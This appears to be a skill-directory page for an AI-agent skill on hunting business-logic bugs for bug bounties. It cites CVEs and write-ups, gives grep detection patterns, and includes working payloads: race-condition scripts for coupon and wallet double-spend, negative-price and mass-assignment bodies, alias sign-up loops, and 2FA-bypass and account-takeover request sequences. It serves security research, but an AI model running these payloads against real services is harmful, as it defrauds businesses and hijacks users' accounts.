# Hunt Business Logic

> Hunting skill for business-logic vulnerabilities (CWE-840 Business Logic Errors, CWE-841 Improper Enforcement of Behavioral Workflow, CWE-639 Authorization Bypass via User-Controlled Key in business contexts, CWE-362 race conditions on financial flows). Built from 44 corpus reports plus 8.8K shared-platform reports across HackerOne, Bugcrowd, Huntr, GitHub Security Advisories, plus 2024-2026 meta verified against NVD — Lilishop coupon overpurchasing (CVE-2024-50654 CVSS 7.5), WWBN AVideo wallet double-spend TOCTOU (CVE-2026-34368, GHSA-h54m-c522-h6qr), Keycloak 2FA bypass (CVE-2025-3910, GHSA-5jfq-x6xp-7rw2), AlegroCart 1.2.9 negative-quantity price manipulation (Andrey Stoykov SecLists Apr 2025), Bagisto cart price manipulation (Rudransh Singh Rajpurohit Sep 2025), Doppler free-trial reset (Aditya Sunny Dec 2024), Stripe hasEverTrialed bypass (better-auth

- Skill: `h-mmer/hunt-business-logic` (Agent Skill)
- Install (CLI): `npx skillmds@latest add h-mmer/hunt-business-logic`
- Raw SKILL.md: https://api.skillmd.com/api/skills/h-mmer/hunt-business-logic/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: h-mmer (https://skillmd.com/u/h-mmer)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/h-mmer/hunt-business-logic

---


## Crown Jewel Targets

Business-logic flaws are the highest-creativity-required class in bug bounty — most don't get CVEs because they're application-specific, but they're often the highest-paying single-finding class on commercial SaaS because they map directly to financial loss. The 24-month meta has crystallized around eight asset types. All CVEs below are NVD-verified.

**1. Payment / checkout flow manipulation (mid four-figure to mid five-figure on e-commerce / fintech).** The "client trusts price/quantity" pattern. **CVE-2024-50654 Lilishop coupon overpurchasing (CVSS 7.5 HIGH)** — concurrent coupon-collection requests bypass quantity limit. **AlegroCart v1.2.9 negative-quantity price manipulation** (Andrey Stoykov disclosure SecLists Apr 2025 at https://seclists.org/fulldisclosure/2025/Apr/22) — `GET /alegrocart/index.php?...&quantity=-100` produces `-100 × $15.99 = -$1,599.00` cart subtotal; checkout flow accepts negative total. **Bagisto CMS v2.3.6 cart price manipulation** (Rudransh Singh Rajpurohit Sep 2025 at https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969) — modify cart parameter to `-1`, system subtracts instead of adds, can place order with $0 total. The Bug Bounty Playbook documents this comprehensively at https://bugbounty.info/Attack-Surface/Web/Business-Logic/Price-Manipulation: change `99.99` to `-99.99` and watch the app issue you a refund on checkout.

**2. Race-condition payment / wallet / coupon (mid five-figure on programs that triage these as critical).** The TOCTOU pattern between balance check and balance update. **CVE-2026-34368 WWBN AVideo YPTWallet TOCTOU (GHSA-h54m-c522-h6qr)** — `transferBalance()` reads sender's wallet balance, checks sufficiency in PHP, writes new balance — all without database transactions or row-level locking. Concurrent transfers all read same stale balance, each passes check, only one deduction applied while recipient credited multiple times. With $10 balance and N concurrent requests, recipient receives up to $10×N. **Aditya Bhatt May 2025 InfoSec writeup** (https://medium.com/bugbountywriteup/bug-bounty-race-exploiting-race-conditions-for-infinite-discounts-a2cb2f233804) — applied discount coupon 20× simultaneously via Burp Suite Repeater Parallel Execution, server processed all → cart price reduced to near-zero. Industry precedents: Tesla Bug Bounty 2020 (free vehicle software upgrades via concurrent purchase requests), Uber 2016 (infinite promo credits via race), OpenCart checkout TOCTOU disclosed Dec 2025 by KhanMarshaI (https://gist.github.com/KhanMarshaI/a55f125a55de1c0d4f41e66236027e01) — guest-attacker concurrent checkout creates 3 orders for 1 stock item, inventory drops to -2.

**3. 2FA / MFA bypass via auxiliary flow (low five-figure on programs that pay this class).** Multi-factor auth bypassed because the "skip" path or alternate-flow doesn't enforce the second factor. **CVE-2025-3910 Keycloak 2FA bypass (GHSA-5jfq-x6xp-7rw2, CVSS 5.4)** — `org.keycloak.authorization` package allows users to circumvent required actions including 2FA setup. Affects Keycloak 26.0 through 26.0.10. **2FA Bypass via Reset Password** (KhaledAhmed107 Jan 2026 at https://systemweakness.com/2fa-bypass-via-reset-password-daba828b10f3, Bugcrowd VRT P3) — enable 2FA with Google Authenticator → log out → password reset flow shows "Skip" option for 2FA verification → bypassed. **Samsung Account 2FA bypass** (Gregory Greekas 2024 at https://www.hackingadventures.ca/posts/samsung-2fa-bypass) — 2FA request API discloses victim's IMEI to anyone with username; `deviceUniqueId` derived deterministically from IMEI; attacker computes expected `deviceUniqueId`, includes in auth request, bypasses 2FA on Samsung Account globally. Samsung patched Dec 2024. **Pre-Account Takeover via SSO migration** (Giongnef Jan 2024 at https://giongfnef.medium.com/business-logic-bypass-2fa-to-ato-e0dc7131b10e) — pre-register `victim@companyA.com` in Store DB, use Migrate function to transfer to SSO DB, wait for victim to register; attacker still has access to all resources after victim signs up.

**4. Free-trial / subscription abuse (mid four-figure on SaaS programs that pay this class — many don't).** **Doppler free-trial reset** (Aditya Sunny Dec 2024 at https://adityasunny06.medium.com/how-i-identified-a-revenue-loss-bug-in-dopplers-free-trial-system-b88919aa161f) — disclosed Nov 14 2024 to Doppler — sign up → activate 14-day trial → cancel → switch to free Developer Mode → revert to paid Team Mode → premium features regranted indefinitely. **Email-alias unlimited trial abuse** (Mahmoud Magdy Dec 2025 at https://medium.com/@mahmoudmagdy45456/violation-of-secure-design-principles-unlimited-free-trial-abuse-via-email-aliases-3de0756eb58c) — register `user+a1@gmail.com`, `user+a2@gmail.com`, etc.; all deliver to same inbox but app treats each as new user. **Stripe `hasEverTrialed` bypass** (better-auth issue #6863 Dec 2025 at https://github.com/better-auth/better-auth/issues/6863) — `findOne` returns whichever subscription DB returns first; if it's a new incomplete subscription, `hasEverTrialed` returns false — user trials again on Stripe. **HackerOne 2024 H1 high "Premium Trial Subscription Upgrade and Claim Offer"** — total price reduced via promo logic.

**5. Coupon stacking / discount abuse (low to mid four-figure on most e-commerce; mid four-figure on race-chained variants).** Apply same coupon multiple times, apply multiple distinct coupons when only one allowed, change discount-application order. **Aditya Bhatt May 2025** (above) — coupon applied 20× via parallel race; cart value = jacket price - (discount × 20). **Unlimited Reuse of Coupon Code Allows Free Shipping** (H1 2026 low) — coupon validation lacks usage tracking. **Bug Bounty Playbook**: stack aggressively until you hit the cap; check if cap logic is bypassable.

**6. OTP / phone-number manipulation flows (mid four-figure to low five-figure on programs that triage as ATO).** **Change Phone Number OTP Flaw → Any Phone Number Takeover** (H1 2024 critical disclosed) — change-phone flow doesn't verify ownership of the new number, just sends OTP to it; attacker can change victim's phone via crafted request. The pattern: phone-change API accepts new phone number from request body, sends OTP only to the new (attacker-controlled) number, attacker confirms with their own OTP, victim loses account access.

**7. Role / scope / tier escalation via business-logic bypass (mid four-figure on multi-tier SaaS).** **OpenClaw WebSocket shared-auth elevated scopes** (GHSA, 2026 critical) — WebSocket connections share auth context across users; client can self-declare elevated scopes. **Business Logic Bypass: Setting "Read Access" Role Without Pro Plan Subscription** (H1 2026 medium) — role-assignment API doesn't check subscription tier. **Authorization Bypass in Starknet Snap via enableAuthorize parameter** (H1 2026 medium) — toggle parameter bypasses authorization check. **CVE-2026-30956 OneUptime**, **CVE-2026-32131 Zitadel**, and **CVE-2025-64431 Zitadel V2Beta** are the 2025-2026 tenant/scope-control analogs: client-controlled tenant context or insufficient org scoping turns a normal user into cross-tenant admin. **CVE-2024-21632 nOAuth** and **CVE-2025-55241 Entra actor-token impersonation** are identity-logic variants: the app trusts the wrong claim, wrong tenant, or wrong actor.

**8. Workflow-step skipping (mid three-figure to low four-figure direct, mid four-figure when chained).** Multi-step flows where step N can be skipped via direct API call. **Business Logic error leads to bypass 2FA requirement** (H1 2024 high) — direct API call to step N+1 bypasses step N. **Create account without auth via response manipulation** (H1 2026 low) — modify the success response in transit, app redirects to authenticated state. **Customer can cancel individual booking in a batch causing partner lock** (H1 2025 medium) — atomicity violation.

**Industry-specific: automotive PII chains (Sam Curry pattern — high four-figure to mid five-figure on automaker programs).** Sam Curry's 2024 Kia disclosure (samcurry.net/hacking-kia) and 2023 auto-industry-wide disclosure (samcurry.net/web-hackers-vs-the-auto-industry) chain business-logic flaws (channel header tier escalation) with IDOR/auth-bypass for vehicle-PII access and remote control. The pattern repeats: dealer-portal vs customer-portal share backend; channel header determines tier; flip the header to escalate.

**Industry-specific: financial / fintech programs.** Bug bounty on Stripe, PayPal, Venmo, Cash App tend to pay top-tier for race conditions on transfers, multi-currency conversion abuse, ledger-consistency violations. Reference better-auth issue #6863 (Dec 2025) for one disclosed Stripe-related case.

**What pays the most:** wallet / payment double-spend via race condition (mid five-figure on financial programs — WWBN AVideo CVE-2026-34368 pattern). 2FA bypass enabling full ATO on programs that triage as critical (low five-figure — Samsung pattern, Keycloak CVE-2025-3910). Negative-quantity / negative-price → free order or refund (mid four-figure on e-commerce — AlegroCart, Bagisto patterns). Free-trial unlimited abuse (mid four-figure on programs that pay this class; many don't — Doppler pattern). Coupon stacking via race (mid four-figure — Aditya Bhatt 2025 pattern). OTP-flow manipulation enabling phone takeover (low to mid five-figure on programs that triage as ATO — H1 2024 disclosed pattern).

## Attack Surface Signals

Greppable signals on a target codebase or live target indicating business-logic surface:

```bash
# Price/quantity fields trusted from client (negative-value / overflow vulnerable)
rg -n -e 'request\.body\.(price|quantity|amount|total)' \
   -e 'req\.body\.(price|quantity|amount|total)' \
   -e '\$_(POST|GET)\[.(price|quantity|amount|total).\]' \
   --type js --type ts --type py --type php --type java

# Discount/coupon application without usage tracking
rg -n -e 'apply.*coupon' -e 'redeem.*code' -e 'discount\.apply' \
   --type js --type ts --type py --type ruby --type java

# TOCTOU patterns — read-then-write without transaction/lock
rg -n -B 2 -A 10 -e 'getBalance\(\)|wallet\.balance' \
   --type js --type ts --type py --type php | rg -B 5 -A 5 'updateBalance|setBalance|wallet\.update'

# 2FA bypass via skip option (KhaledAhmed107 Jan 2026 pattern)
rg -n -e 'skip.*2fa' -e 'skip.*mfa' -e 'bypass.*otp' \
   --type js --type ts --type py

# Subscription state transitions without payment validation
rg -n -e 'plan\.upgrade' -e 'tier\.set' -e 'subscription\.status\s*=' \
   --type js --type ts --type py --type java

# Email canonicalization missing (Mahmoud Magdy Dec 2025 alias-abuse pattern)
rg -n -e 'email.*toLowerCase' -e 'email.*strip' -e 'normalizeEmail' \
   --type js --type ts --type py | head

# Race-prone endpoints (state mutations without locking)
rg -n -B 2 -A 8 -e 'def transfer' -e 'function transfer' \
   --type py --type js --type ts | rg -v 'BEGIN|FOR UPDATE|lock|mutex|atomic'

# OTP / phone change flow without ownership verification
rg -n -e 'change.*phone' -e 'update.*phone' -e 'verify.*phone' \
   --type js --type ts --type py | head

# Promo / referral abuse surface
rg -n -e 'referral\.create' -e 'promo\.apply' -e 'invite\.send' \
   --type js --type ts --type py

# Idempotency / replay controls missing on state-changing money flows
rg -n -e 'Idempotency-Key' -e 'idempotency' -e 'dedupe' \
   --type js --type ts --type py --type java

# Client-controlled tenant / tier / channel dispatch
rg -n -e 'req\.headers\[(.x-tenant|.tenant|.channel|.tier)' \
   -e 'headers\.(tenant|channel|tier|project)' \
   --type js --type ts --type py --type java

# Final-state gates that trust a previous step flag
rg -n -e 'email_verified' -e 'mfa_verified' -e 'payment_verified' \
   -e 'workflow_step' -e 'completed_steps' \
   --type js --type ts --type py --type java
```

HTTP-level signals on a live target:

- Cart / checkout endpoints accepting `quantity`, `price`, `total` in request body — **price-manipulation surface** (AlegroCart, Bagisto patterns)
- Coupon/promo apply endpoint returning success on each call without usage-counter increment — **coupon stacking surface** (Aditya Bhatt May 2025 pattern, Lilishop CVE-2024-50654)
- Wallet transfer endpoint without distributed lock indicators (no `Idempotency-Key` header support, no 409 on concurrent-test) — **TOCTOU surface** (WWBN AVideo CVE-2026-34368)
- 2FA flow with "Skip" button or alternate path that doesn't enforce 2FA — **2FA bypass surface** (Keycloak CVE-2025-3910, KhaledAhmed107 Jan 2026 pattern)
- Phone-change endpoint that sends OTP only to NEW number (not also requiring confirmation from OLD number) — **phone-takeover surface** (H1 2024 critical pattern)
- Free-trial / cancel / re-subscribe flow that doesn't track historical-trial state — **trial-abuse surface** (Doppler pattern, Stripe `hasEverTrialed` better-auth #6863)
- Email registration accepting `user+alias@gmail.com` as distinct from `user@gmail.com` — **trial-abuse via alias** (Mahmoud Magdy Dec 2025)
- SSO / migration flow allowing pre-registration of foreign-domain emails — **pre-ATO surface** (Giongnef Jan 2024 pattern)
- Subscription-tier endpoint accepting tier name from request body without payment validation — **tier-escalation surface** (H1 2026 medium pattern, Starknet Snap pattern)
- WebSocket connection with shared auth context across multiple clients — **scope-escalation surface** (OpenClaw 2026 critical pattern)
- Multi-step workflow API where step N+1 doesn't validate step N completion — **workflow-skip surface** (KhaledAhmed107 Jan 2026 pattern at scale)
- Channel-header-based tier dispatch (`channel: customer` vs `channel: dealer`) — **automotive-style escalation surface** (Sam Curry 2024 Kia)
- Order-cancellation endpoint that operates on individual items in a batch order — **atomicity-violation surface** (H1 2025 medium pattern)
- Server returns final price/total without server-side recalculation visible in response — **client-trust surface** (Bug Bounty Playbook canonical pattern)

## Insertion Point Taxonomy

Every place business-logic state can be manipulated:

- **URL path** — `/orders/{id}/cancel` (atomicity violation), `/users/{id}/upgrade` (tier escalation)
- **URL query** — `?quantity=-1` (AlegroCart), `?coupon=...&coupon=...` (multi-coupon)
- **Body fields (JSON / form)** — `price`, `quantity`, `total`, `tax`, `discount`, `currency`, `tier`, `role`, `subscription_status`, `trial_started_at`, `is_paid` (mass-assignment cross-reference: see hunt-idor)
- **Headers** — `Idempotency-Key` (or its absence — race-condition surface), `Channel:` (tier dispatch — Sam Curry Kia), `X-Tenant-Id:` (cross-tenant — see hunt-idor), `X-Subscription-Tier:` (custom tier override)
- **JWT claims** — `tier`, `roles[]`, `subscription`, `trial_status`. Modify if signature isn't verified (cross-reference hunt-idor JWT swap).
- **Cookies** — `tier_cookie`, `subscription_state`, `referral_code` set by client; modify if not signed.
- **Race windows** — apply same coupon 20× via Burp Repeater parallel execution; transfer wallet balance 5× concurrently; trigger checkout on inventory of 1 with 3 parallel requests.
- **Email aliases** — `user+a1@gmail.com`, `user+a2@gmail.com`, `user.dot.variant@gmail.com`, `user@googlemail.com` vs `@gmail.com` — same inbox, different "users" to the app.
- **State transitions** — go directly to step N+1 via API call without completing step N (workflow skip).
- **Time / timezone** — set `created_at` in past via request body to backdate trial start; use timezone difference to extend trial.
- **Currency switching mid-flow** — convert USD price to JPY then JPY back to USD; rounding differences accumulate.
- **Negative numbers** — `quantity=-1`, `amount=-100`, `discount=-50` (negative discount = surcharge in attacker's favor on broken logic).
- **Zero values** — `price=0`, `quantity=0` — what does "free" mean to the app's business rules?
- **Integer overflow** — `quantity=2147483648` overflows int32 to negative.
- **Floating-point precision** — `0.1 + 0.2 = 0.30000000000000004`; submit values that exploit IEEE-754 rounding.
- **Workflow concurrency** — start two concurrent flows on the same resource (cancel + refund, withdraw + transfer).
- **Phone / email change flows** — submit new contact, verify only the NEW contact (not also the old) — phone takeover.
- **OAuth / SSO migration paths** — pre-register foreign-domain emails, wait for victim to sign up, dual-account scenario.
- **Permission cascade** — "share" feature doesn't recompute permissions on referenced resource; original permissions persist post-share.
- **Refund / chargeback flows** — refund amount accepted from client request, exceeds original payment.
- **Inventory / stock** — checkout doesn't atomically decrement stock; concurrent checkouts oversell, stock goes negative.

For each surface, send: negative values, zero, max-int, unicode-confusable email aliases, concurrent identical requests via Burp Repeater parallel execution, modified state transitions skipping intermediate steps, modified JWT claims if signature is weak.

## Step-by-Step Hunting Methodology

1. **Map the entire money-flow.** For any commercial app, trace every endpoint touched during: signup → trial → upgrade → checkout → payment → refund → cancel → re-subscribe. Note each request's `price`, `quantity`, `discount`, `tier`, `tax`, `total`, `currency`, `coupon` field locations. The bigger the flow, the more business-logic surface.

2. **Test negative / zero / overflow on every numeric field.** AlegroCart pattern: `quantity=-100` → negative cart total → app accepts. Bagisto pattern: cart parameter `-1` → subtracts instead of adds. Test `0`, `-1`, `0.0001`, `2147483648` (int32 overflow), `999999999999999`. Bug Bounty Playbook canonical: change `99.99` to `-99.99` and watch app issue refund.

3. **Test client-supplied price / total.** Modify response body or request body to send `total: 0` or `total: 0.01`. If the server processes the order without recalculating the total server-side from cart items + tax + shipping + discount, that's the bug. Hunt with Burp's Match-and-Replace to auto-modify these fields.

4. **Test coupon / discount stacking.** Apply same coupon code multiple times. Apply multiple distinct codes when only one allowed by UI. Apply discounts in different orders (percentage before fixed vs fixed before percentage — different total). Stack via race condition (Aditya Bhatt May 2025 pattern: Burp Repeater Parallel Execution sends 20 simultaneous coupon-apply requests).

5. **Race-test every state-mutating endpoint.** For wallet transfer, coupon apply, vote, claim-reward, withdraw — open Burp Repeater, duplicate the request 20 times, group into a single tab group, send as "Parallel" execution mode. WWBN AVideo CVE-2026-34368 pattern: concurrent transfers all read same balance, all pass check, recipient credited N times. Confirm via subsequent GET to inspect actual final state.

6. **Test 2FA / MFA bypass via auxiliary flows.** Enable 2FA on test account. Now test: password reset (does it require 2FA? KhaledAhmed107 Jan 2026 case: "Skip" button visible). OAuth login (does it preserve 2FA requirement?). API auth (do API tokens bypass 2FA?). Mobile app login (does it use a different auth flow without 2FA?). Recovery flow (account recovery via security questions / backup email — does it bypass?).

7. **Test free-trial reset / abuse.** Sign up → activate trial → cancel → look for any path that re-enables trial or premium features without payment. Doppler pattern: cancel trial → switch to free tier → revert to paid tier = trial back. Email aliases: `user+a1@gmail.com`, `user+a2@gmail.com` — register N times. Stripe `hasEverTrialed` better-auth #6863: when user has multiple subscription records, check uses wrong query.

8. **Test phone / email change ownership-verification.** Submit new phone number to change-phone API. Does it require OTP from BOTH old and new number, or only new? H1 2024 critical: only new → phone takeover. Same for email change: requires verification of OLD email or just the NEW?

9. **Test workflow-step skipping.** Multi-step flow (signup → KYC → activate). Try direct API call to step 3 without completing step 2. Workflow may not check step N completion before allowing step N+1.

10. **Test pre-account takeover via SSO / migration.** If app has both SSO and direct-login, and supports email-domain SSO (Google Workspace, Okta), try pre-registering `user@victim-company.com` directly before victim signs up via SSO. Giongnef Jan 2024 pattern: post-SSO-signup, attacker still has access via pre-registered direct account.

11. **Test currency conversion abuse.** Add product priced in USD. Switch currency to JPY mid-flow. Switch back to USD. Did the price round to attacker's benefit? Same with refund — request refund in different currency than purchase.

12. **Test referral / invite abuse.** Self-refer (invite own second account). Refer the same email twice. Refer fake email (does the app give credit before the referred user signs up?). Refer at scale (rate limit?).

13. **Validate before reporting.** Demonstrate concrete financial impact: count records, calculate dollar-value loss, show the unauthorized state change confirmed via subsequent GET. Don't dump customer data; show 3-record proof. See Gate 0.

## Payload & Detection Patterns

### Sub-technique A — Negative quantity / negative price / negative discount (AlegroCart pattern)

```http
# AlegroCart 1.2.9 disclosure (Andrey Stoykov, SecLists Apr 2025)
# Reference: https://seclists.org/fulldisclosure/2025/Apr/22
GET /alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100 HTTP/1.1
Host: target

# Response: cart subtotal = -$1,599.00 (system computed -100 × $15.99)
# Reference: AlegroCart 1.2.9 disclosed at https://seclists.org/fulldisclosure/2025/Apr/22
# Then proceed to checkout — system accepts negative total
```

```json
// Bagisto v2.3.6 cart price manipulation (Rudransh Singh Rajpurohit Sep 2025)
// Reference: https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969
PATCH /api/cart/items/<item-id>
{
  "quantity": -1
}
// System subtracts $500 from cart total instead of adding
// Place order — accepted with $0 or negative total
// Disclosed by @rudranshsinghrajpurohit at https://medium.com/@rudranshsinghrajpurohit/cve-2025-56426-cart-price-manipulation-vulnerability-in-bagisto-cms-468b72311969
```

```json
// Generic negative-fields test set
{"quantity": -1}
{"quantity": -100}
{"price": -99.99}
{"amount": -1000}
{"discount": -50}        // negative discount = surcharge in attacker's favor
{"tax": -10}              // negative tax
{"shipping": -5}          // negative shipping
{"total": 0}              // explicit zero total
{"total": 0.01}           // minimum charge
{"refund_amount": 999999} // refund larger than original payment
```

### Sub-technique B — Coupon / discount stacking

```http
# Apply same coupon repeatedly
POST /api/cart/coupon HTTP/1.1
{"code": "SAVE20"}

POST /api/cart/coupon HTTP/1.1
{"code": "SAVE20"}     # same code again — does it stack?

POST /api/cart/coupon HTTP/1.1
{"code": "SAVE20"}     # third time

# Apply multiple distinct coupons when UI shows only one allowed
POST /api/cart/coupon
{"code": "SAVE20"}
POST /api/cart/coupon
{"code": "FREESHIP"}
POST /api/cart/coupon
{"code": "BLACKFRIDAY"}

# Reorder discount application (changes calculated total when % vs fixed)
POST /api/cart/coupon  {"code": "FIXED10"}     # apply $10 off first
POST /api/cart/coupon  {"code": "PERCENT20"}   # then 20% off — applies to discounted-price
# vs
POST /api/cart/coupon  {"code": "PERCENT20"}   # 20% off first
POST /api/cart/coupon  {"code": "FIXED10"}     # then $10 off — applies to original-price
```

### Sub-technique C — Race condition on coupon / wallet / inventory (TOCTOU)

```
# Aditya Bhatt May 2025 InfoSec writeup pattern
# Burp Suite Repeater → duplicate request 20× → group into tab group → "Send group in parallel"

POST /cart/coupon HTTP/1.1
Host: target
Cookie: session=<your-session>
Content-Type: application/json

{"code": "JACKET50OFF"}

# 20 parallel requests → server processes all → 20 discount applications
# Cart value = jacket_price - (discount × 20)
```

```python
# Python aiohttp version for higher concurrency
import asyncio, aiohttp
async def apply_coupon(session):
    async with session.post(
        'https://target/cart/coupon',
        json={'code': 'JACKET50OFF'},
        cookies={'session': '<your-session>'},
    ) as resp:
        return resp.status

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = [apply_coupon(session) for _ in range(50)]
        results = await asyncio.gather(*tasks)
        print(f"Successes: {sum(1 for r in results if r == 200)}")

asyncio.run(main())
```

```python
# WWBN AVideo CVE-2026-34368 wallet TOCTOU pattern
# transferBalance() reads → checks → writes without locking
# Multiple PHPSESSID-bearing concurrent transfer requests all read same stale balance
import requests, threading

def transfer():
    requests.post('https://target/plugin/YPTWallet/transfer', cookies={
        'PHPSESSID': '<your-session>',
    }, json={'recipient': '<victim-id>', 'amount': 10})

threads = [threading.Thread(target=transfer) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
# All 20 read sender_balance=10, all pass check, only 1 deduction effective,
# recipient credited 20× = $200 from $10 balance
# Reference: GHSA-h54m-c522-h6qr / CVE-2026-34368 (WWBN AVideo wallet TOCTOU disclosed 2026)
```

```http
# OpenCart checkout race (KhanMarshaI Dec 2025 gist)
# Concurrent guest-checkout on inventory of 1 → creates 3 orders, stock = -2
POST /checkout/checkout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

product_id=42&quantity=1&payment_method=cod
# 3 parallel requests via Burp Repeater Parallel Execution
```

### Sub-technique D — 2FA / MFA bypass via auxiliary flow

```
# KhaledAhmed107 Jan 2026 — 2FA bypass via password reset
1. Create account, log in, enable 2FA via Google Authenticator
2. Log out
3. Navigate to Reset Password page
4. Open password reset link from email
5. When prompted for 2FA code, observe "Skip" option
6. Click Skip → set new password → redirected to dashboard, no 2FA required
# Pattern repeats across SaaS programs — always test password reset for 2FA enforcement

# Keycloak CVE-2025-3910 (GHSA-5jfq-x6xp-7rw2)
# org.keycloak.authorization circumvents required actions including 2FA setup
# Affects 26.0 through 26.0.10
# Fix: upgrade to 26.2.2+

# Samsung Account 2FA bypass (Gregory Greekas 2024)
# 2FA request API returned victim's IMEI to anyone with username
# Compute deviceUniqueId from IMEI (deterministic transformation)
# Submit auth request with computed deviceUniqueId → 2FA bypassed
# Patched Dec 2024
```

```bash
# Generic 2FA bypass test set for any account
# Test each path:
curl -X POST https://target/api/login -d '{"email":"...","password":"..."}'  # without 2FA token
curl -X POST https://target/oauth/authorize -d '...'                          # OAuth flow
curl -X POST https://target/api/auth/refresh -d '...'                          # token refresh
curl -X POST https://target/api/password-reset -d '...'                        # password reset
curl -X POST https://target/api/auth/sso -d '...'                              # SSO bypass
curl -X POST https://target/api/auth/recovery -d '...'                         # recovery flow
curl -X POST https://target/mobile/auth -d '...'                               # mobile app auth
# Any path that lands you authenticated without 2FA → bypass
```

### Sub-technique E — Free-trial / subscription abuse

```
# Doppler pattern (Aditya Sunny Dec 2024)
1. Sign up for new account
2. Activate 14-day free trial (premium features)
3. Cancel trial early → switch to free Developer Mode
4. Use developer tools to switch back to paid Team Mode
5. Premium features regranted indefinitely without payment

# Email-alias unlimited trial (Mahmoud Magdy Dec 2025)
# Gmail aliases: user+anything@gmail.com all deliver to user@gmail.com
# Most apps treat as distinct registrations
for i in $(seq 1 100); do
  curl -X POST https://target/api/signup -d "{
    \"email\":\"user+trial$i@gmail.com\",
    \"password\":\"Test123!\"
  }"
done
# 100 trials, 1 mailbox

# Gmail dot variants (also same inbox)
user@gmail.com
u.ser@gmail.com
us.er@gmail.com
u.s.er@gmail.com
# All deliver to user@gmail.com but app sees as distinct

# @googlemail.com vs @gmail.com — same Google inbox
user@gmail.com
user@googlemail.com

# Stripe hasEverTrialed bypass (better-auth #6863 Dec 2025)
# Trigger condition: user has multiple subscription records (one canceled with trial history,
# one new incomplete). findOne returns whichever DB returns first; if it's the new
# incomplete one, hasEverTrialed returns false → trial granted again
```

### Sub-technique F — Phone / email change ownership bypass

```
# H1 2024 critical: Change phone number OTP flaw → any phone takeover
# Vulnerable flow: change-phone API sends OTP only to NEW number
POST /api/account/change-phone HTTP/1.1
Authorization: Bearer <victim-session-or-stolen-token>
{"new_phone": "+15555550100"}    # attacker-controlled number

# Server sends OTP to +15555550100 (attacker)
# Attacker submits OTP → victim's account now has attacker phone
# Reset password via SMS OTP → ATO

# Secure version requires OTP from BOTH old (+1victim) and new (+1attacker) numbers

# Email change variant
POST /api/account/change-email HTTP/1.1
{"new_email": "attacker@evil.com"}
# Server sends verification email only to attacker@evil.com
# Attacker confirms → victim's email is now attacker's → password reset → ATO
```

### Sub-technique G — Workflow-step skipping

```
# Multi-step KYC flow: signup → email-verify → phone-verify → KYC → activated
# Try direct API call to "activated" state
POST /api/users/activate     # without completing email-verify, phone-verify, KYC
{"user_id": "<your-id>"}

# OR: response manipulation — intercept the "step 3 success" response, modify
# to indicate step 4 success, app redirects to authenticated state

# H1 2026 low: Create account without auth via response manipulation
# Submit signup with invalid OTP → modify response body in transit to {"success":true}
# App redirects to authenticated dashboard

# H1 2024 high: Business Logic error → bypass 2FA requirement
# Step 1: login with username/password → server responds {"requires_2fa": true, "challenge_id": "..."}
# Step 2: skip 2FA submission, go directly to /api/me — server returns user data because session cookie is set after step 1
```

### Sub-technique H — Pre-Account Takeover via SSO / migration

```
# Giongnef Jan 2024 pattern (https://giongfnef.medium.com/business-logic-bypass-2fa-to-ato-e0dc7131b10e)
# Target supports both direct-login and SSO; sso_type:null defaults to direct-login

# Step 1: Attacker pre-registers victim's corporate email in Store DB
POST /api/signup
{
  "email": "victim@companyA.com",  # victim hasn't signed up yet
  "password": "Attacker123!",
  "sso_type": null                   # direct-login mode
}

# Step 2: Attacker logs in, uses "Migrate" function to transfer to SSO DB
POST /api/sso/migrate
Authorization: Bearer <attacker-session>

# Step 3: Wait for victim to register at sso.companyA.com (legitimate flow)
# Victim enters Google SSO with victim@companyA.com — succeeds because account already exists in SSO

# Step 4: Attacker still has direct-login access to victim's account because
# the password set in Step 1 is still valid for the migrated SSO account

# Result: persistent ATO that survives victim's "secure" SSO signup

# Generic test: any time a SaaS supports both direct-login AND SSO/OAuth,
# pre-register every interesting email-domain you can find before the legitimate
# user signs up.
```

### Sub-technique I — Currency / timezone / floating-point manipulation

```
# Currency switch mid-flow
1. Add product priced $100.00 (USD) to cart
2. Switch site currency to JPY → cart shows ¥10,000 (100 USD × 100 JPY/USD rate)
3. Switch back to USD → if app converts ¥10,000 ÷ rate but uses STALE rate or different rate,
   USD price differs from original → exploit difference
4. Some apps round in attacker's favor; others round in app's favor — test both directions

# Timezone-based trial extension
# Trial starts at 2024-01-01 00:00 (server local time, UTC)
# User in UTC+14 → claims trial start of 2024-01-01 00:00 UTC+14 = 2023-12-31 10:00 UTC
# If server compares trial duration in user's timezone, can extend trial by ~24h × number-of-resets

# Floating-point precision exploitation
# IEEE-754 64-bit floats can't represent 0.1 exactly
# 0.1 + 0.2 = 0.30000000000000004 (NOT 0.3)
# Submit price: 0.1 ten times → expected $1.00 → actual $0.9999999999999999
# Multi-step accumulator may round to $0.99 in attacker's favor

# Integer overflow on quantity (int32 = 2^31 - 1 = 2147483647)
{"quantity": 2147483648}      # overflows to -2147483648 in 32-bit int
# Then quantity × price = negative total → free order
```

### Sub-technique J — Role / scope / tier escalation via business-logic

```
# OpenClaw 2026 critical: WebSocket shared-auth elevated scopes
ws = new WebSocket('wss://target/ws')
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: 'auth',
    token: '<low-priv-token>',
    scopes: ['admin', 'billing', 'read', 'write']  # self-declared elevated scopes
  }))
}
# Server accepts client-declared scopes without re-validation

# H1 2026 medium: Set "Read Access" Role Without Pro Plan Subscription
POST /api/roles/assign
Authorization: Bearer <free-tier-token>
{
  "role": "ReadAccess",         # premium-only role
  "user_id": "<your-id>"
}
# Server doesn't check subscription tier before assigning role

# Starknet Snap enableAuthorize bypass (H1 2026 medium)
POST /api/wallet/sign
{
  "transaction": "...",
  "enableAuthorize": false      # toggle off authorization check
}
# Server respects client-supplied enableAuthorize parameter

# Generic mass-assignment for tier escalation (cross-reference hunt-idor Sub-technique G)
PATCH /api/users/me
{
  "subscription_tier": "enterprise",
  "is_paid": true,
  "trial_ends_at": "2099-12-31",
  "credits": 999999,
  "permissions": ["admin", "billing", "delete_users"]
}
# Verify via subsequent GET; many APIs hide changes in response but persist in DB
```

### Out-of-band callback (for blind chains)

